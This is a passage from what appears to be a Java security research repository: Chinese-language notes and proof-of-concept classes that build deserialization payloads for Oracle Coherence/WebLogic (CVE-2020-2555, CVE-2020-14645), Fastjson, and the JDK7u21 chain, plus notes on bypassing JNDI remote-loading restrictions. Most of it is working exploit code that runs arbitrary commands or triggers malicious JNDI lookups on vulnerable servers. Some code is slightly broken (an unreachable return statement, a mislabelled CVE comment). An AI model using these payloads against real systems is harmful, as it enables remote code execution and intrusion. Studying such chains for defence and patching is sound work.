public static void main(String[] args) throws Exception{
ParseArgs.parseArgs(args);
byte[] bytes = getSerializeData();
SaveSerializeData.save(bytes);
SerWithUnSer.unSerializeObject(bytes);
}
}
JDBCUnserialize
- JDBC连接代码中的queryInterceptors属性指定拦截器,在连接数据库时会调用拦截器的preProcess方法
- 在连接数据库时会向数据库发出
SHOW SESSION STATUS
查询,我们可以编写恶意mysql服务器,让SHOW SESSION STATUS
查询结果返回我们精心构造的结果! - 最后通过构造可以调用到ResultSetImpl#getObject方法,方法里面存在反序列化操作!
- 难点在于编写mysql服务器,这一块先放着先,后续补上!
Coherence01_CVE-2020-2555
- BadAttributeValueExpException#readObject可以调用任意类的toString方法
- ReflectionExtractor#extract存在动态方法调用
- ChainedExtractor#extract可以调用一组extract方法
- LimitFilter#toString可以调用到继承ValueExtractor接口任意类的extract方法
package com.javasec.pocs;
import com.javasec.utils.ParseArgs;
import com.javasec.utils.Reflect;
import com.javasec.utils.SaveSerializeData;
import com.javasec.utils.SerWithUnSer;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
/* CVE-2020-2555
* Gadget:
* BadAttributeValueExpException#readObject
* LimitFilter#toString
* ChainedExtractor#extract
* ReflectionExtractor#extract
* ReflectionExtractor#extract
* ReflectionExtractor#extract
* 1. 构造payload时使用的Coherence依赖版本需要和目标使用的Coherence版本一致
* 2. Oracle weblogic 12.1.3.0.0/12.2.1.1.0/12.2.1.2.0/12.2.1.3.0/12.2.1.4.0
* */
public class Coherence01 {
public static byte[] getSerializeData() throws Exception{
// 创建 ValueExtractor[] 数组
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod",new Object[]{"getRuntime",new Class[0]},1),
new ReflectionExtractor("invoke",new Object[]{null,new Object[0]},2),
new ReflectionExtractor("exec",new Object[]{ParseArgs.cmd},3)
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
LimitFilter limitFilter = new LimitFilter();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
// 反射对字段进行赋值
Reflect.reflectSetField(badAttributeValueExpException,"val",limitFilter);
Reflect.reflectSetField(limitFilter,"m_comparator",chainedExtractor);
Reflect.reflectSetField(limitFilter,"m_oAnchorTop",Runtime.class);
byte[] bytes = SerWithUnSer.serializeObject(badAttributeValueExpException);
return bytes;
}
public static void main(String[] args) throws Exception{
ParseArgs.parseArgs(args);
byte[] bytes = getSerializeData();
SaveSerializeData.save(bytes);
SerWithUnSer.unSerializeObject(bytes);
}
}
Coherence03_CVE-2020-14645
- ExtractorComparator#compare方法可以调用任意类的extract方法
- UniversalExtractor#extractComplex可以调用getXXX/isXXX方法
- JdbcRowSetImpl#getDatabaseMetaData方法可以实现jndi连接。
package com.javasec.pocs;
import com.javasec.utils.ParseArgs;
import com.javasec.utils.Reflect;
import com.javasec.utils.SaveSerializeData;
import com.javasec.utils.SerWithUnSer;
import com.sun.rowset.JdbcRowSetImpl;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.UniversalExtractor;
import java.util.PriorityQueue;
/* CVE-2020-2555
* Gadget:
* PriorityQueue#readObject
* ExtractorComparator#compare
* UniversalExtractor#extract
* UniversalExtractor#extractComplex
* JdbcRowSetImpl#getDatabaseMetaData
* JdbcRowSetImpl#connect
* 1. 这条链只能用于 12.2.1.4.0 版本依赖,因为 UniversalExtractor 类是 12.2.1.4.0 版本特有的!
* */
public class Coherence03 {
public static byte[] getSerializeData() throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
// 设置恶意jndi地址
jdbcRowSet.setDataSourceName(ParseArgs.jndi);
UniversalExtractor universalExtractor = new UniversalExtractor();
ExtractorComparator extractorComparator = new ExtractorComparator();
PriorityQueue priorityQueue = new PriorityQueue(2, extractorComparator);
Reflect.reflectSetField(extractorComparator,"m_extractor",universalExtractor);
Reflect.reflectSetField(universalExtractor,"m_fMethod",false);
// 反射设置m_aoParam属性值,让其长度为0或者值为null
Reflect.reflectSetField(universalExtractor,"m_aoParam",new Object[]{});
// 反射设置m_sName属性值,让其为需要调用的isXXX/getXXX方法
Reflect.reflectSetField(universalExtractor,"m_sName","getDatabaseMetaData()");
// 先往priorityQueue添加两个元素,否则后面对queue[] 数组的操作无法添加真正的元素到priorityQueue中,此处try catch捕获异常,让程序继续往下执行
try {
priorityQueue.add(1);
priorityQueue.add(2);
}catch (Exception e){}
// 反射获取queue[] 数组,并赋值第一个元素为jdbcRowSet
Object[] queue = (Object[]) Reflect.reflectGetField(priorityQueue, "queue");
queue[0] = jdbcRowSet;
byte[] bytes = SerWithUnSer.serializeObject(priorityQueue);
return bytes;
}
public static void main(String[] args) throws Exception{
ParseArgs.parseArgs(args);
byte[] bytes = getSerializeData();
SaveSerializeData.save(bytes);
SerWithUnSer.unSerializeObject(bytes);
}
}
Fastjson01
- jndi利用链添加 autoCommit 属性是为了在还原对象时调用JdbcRowSetImpl#setAutoCommit方法,进而调用connect方法触发Gadget
- TemplatesImpl利用链需要添加 _tfactory 属性,否则在JDK8u202会抛出异常而导致无法完成Gadget
- TemplatesImpl利用链因为
_name/_tfactory/_bytecodes
等字段是私有属性且没有对应的set方法,所以需要设置第二个参数为Feature.SupportNonPublicField,这是利用 TemplatesImpl 局限的地方! - json还原对象属性会调用其setXXX方法进行设置,即使是不存在这个属性也会调用setXXX,jndi利用链就利用了这一点
- TemplatesImpl利用链中的
_outputProperties
属性会调用getOutputProperties方法,可以在DefaultFieldDeserializer#parseField下断点跟进! - 可以在Fastjson1.2.22-24版本依赖下使用,后面的版本中把com.sun包下的类的都禁止还原了!可在checkAutoType#checkAutoType方法下断点
package com.javasec.pocs;
import com.alibaba.fastjson.parser.Feature;
import com.javasec.utils.CreateTemplatesImpl;
import com.javasec.utils.ParseArgs;
import com.alibaba.fastjson.JSON;
import com.javasec.utils.SavePayloadToFile;
import java.util.Base64;
/*
* Gadget:
* 1) Jndi
* JdbcRowSetImpl#setAutoCommit
* JdbcRowSetImpl#connect
* 2) TemplatesImpl
* TemplatesImpl#getOutputProperties
* TemplatesImpl#newTransformer
* 1. 可以在Fastjson1.2.22-24版本依赖下使用,后面的版本中把com.sun包下的类的都禁止还原了!可在checkAutoType#checkAutoType方法下断点
* 2. 可以在高版本下使用
* */
public class Fastjson01 {
public static String getSerializeDataJndi() throws Exception{
// 添加 autoCommit 属性是为了在还原对象时调用JdbcRowSetImpl#setAutoCommit方法,进而调用connect方法触发Gadget
String jsonString = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\""+ParseArgs.jndi+"\",\"autoCommit\":true}";
System.out.println(jsonString);
return jsonString;
}
public static String getSerializeDataTemplatesImpl() throws Exception{
// 需要添加 _tfactory 属性,否则在JDK8u202会抛出异常而导致无法完成Gadget,没有 _tfactory 属性可以在JDK8u11下成功,只测试了这两个版本
String jsonString = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_tfactory\":{},\"_name\":\"ky0118\",\"_bytecodes\":[\""+ Base64.getEncoder().encodeToString(CreateTemplatesImpl.getEvilBytes())+"\"],\"_outputProperties\":{}}";
System.out.println(jsonString);
return jsonString;
return null;
}
public static void main(String[] args) throws Exception{
ParseArgs.parseArgs(args);
if (ParseArgs.jndi != null){
String jsonString = getSerializeDataJndi();
SavePayloadToFile.save(jsonString);
JSON.parse(jsonString);
}else if (ParseArgs.cmd != null){
String jsonString = getSerializeDataTemplatesImpl();
SavePayloadToFile.save(jsonString);
// 这里因为 _name/_tfactory/_bytecodes 等字段是私有属性且没有对应的set方法,所以需要设置第二个参数为Feature.SupportNonPublicField,这是利用 TemplatesImpl 局限的地方!
JSON.parse(jsonString, Feature.SupportNonPublicField);
}
}
}
JDK7u21
- 使用 LinkedHashSet 使得兼容性更好
- 在LinkedHashSet .add的时候也会触发链,需要在add之前对InvocationHandler的memberValues/type属性赋值,否则会抛出异常导致无法继续往下执行!
- 需要保证AnnotationInvocationHandler.memberValues属性值经过AnnotationInvocationHandler#hashCode处理之后和templatesImpl的hash值相等,为的是能成功调用
key.equals
方法
package com.javasec.pocs;
import com.javasec.utils.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.LinkedHashSet;
import java.util.Map;
/*
* Gadget:
* HashSet#readObject
* AnnotationInvocationHandler#invoke
* TemplatesImpl#newTransformer
* 1. 只能在JDK7u21以下版本使用!
* */
public class JDK7u21 {
public static byte[] getSerializeData() throws Exception{
// 创建恶意 TemplatesImpl 对象
TemplatesImpl templatesImpl = CreateTemplatesImpl.createTemplatesImpl();
// 这里使用 LinkedHashSet 是为了兼容性问题
LinkedHashSet hashSet = new LinkedHashSet();
InvocationHandler invocationHandler = (InvocationHandler) Reflect.reflectGetObject("sun.reflect.annotation.AnnotationInvocationHandler", new Class[]{Class.class, Map.class}, new Object[]{null, null});
// 创建动态代理对象
Templates proxyTemplates = (Templates) Proxy.newProxyInstance(Class.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler);
HashMap hashMap = new HashMap();
// 反射对字段进行赋值
Reflect.reflectSetField(invocationHandler,"memberValues",hashMap);
Reflect.reflectSetField(invocationHandler,"type",Templates.class);
// 这里需要前面的对memberValues/type反射赋值然后再添加元素,否则会因为没有值而报错!
hashSet.add(templatesImpl);
hashSet.add(proxyTemplates);
// 这里需要对 hashMap 赋值,保证 hashMap,也就是AnnotationInvocationHandler.memberValues属性值经过AnnotationInvocationHandler#hashCode处理之后和templatesImpl的hash值相等
hashMap.put("f5a5a608",templatesImpl);
byte[] bytes = SerWithUnSer.serializeObject(hashSet);
return bytes;
}
public static void main(String[] args) throws Exception{
ParseArgs.parseArgs(args);
byte[] bytes = getSerializeData();
SerWithUnSer.unSerializeObject(bytes);
SavePayloadToFile.save(bytes);
}
}
Bypass JNDI 8u191
-
JNDI 利用 RMI 的版本限制在
com.sun.jndi.rmi.registry.trustURLCodebase/com.sun.jndi.cosnaming.trustURLCodebase
这两个属性上,也就是网上说的com.sun.jndi.rmi.object.trustURLCodebase/com.sun.jndi.cosnaming.object.trustURLCodebase
,在JDK 6u132/JDK 7u122/JDK 8u113
以上的版本中这些属性默认为false
,也就是默认不允许从远程服务器上加载Reference
的工厂类!对属性值的检验在
RegistryContext#decodeObject
方法上 -
JNDI 利用 LDAP 的版本限制在
com.sun.jndi.ldap.VersionHelper12
属性上,也就是网上说的com.sun.jndi.ldap.object.trustURLCodebase
,在JDK 11.0.1/JDK 8u191/JDK 7u201/JDK 6u211
以上的版本这些属性默认为 false,也就是默认不允许从远程服务器上加载Reference
的工厂类!对属性值的检验在
com.sun.naming.internal#loadClass
方法上 -
JNDI利用RMI会先找到这个类,然后再通过
Class.forName(className,true)
获取 Class,并实例化后强制转换为ObjectFactory
类然后调用ObjectFactory.getObjectInstance
方法!既然无法远程加载factory,那么让factory为本地的类,这里用到的是 BeanFactory 类,BeanFactory#getObjectInstance存在动态方法调用!通过构造可以RCE! -
JNDI利用LDAP,当LDAP服务器返回的数据中存在 javaserializeddata 字段则会把这个字段的数据进行反序列化,构造恶意 javaserializeddata 字段数据即可!相当于是提供了一个反序列化接口!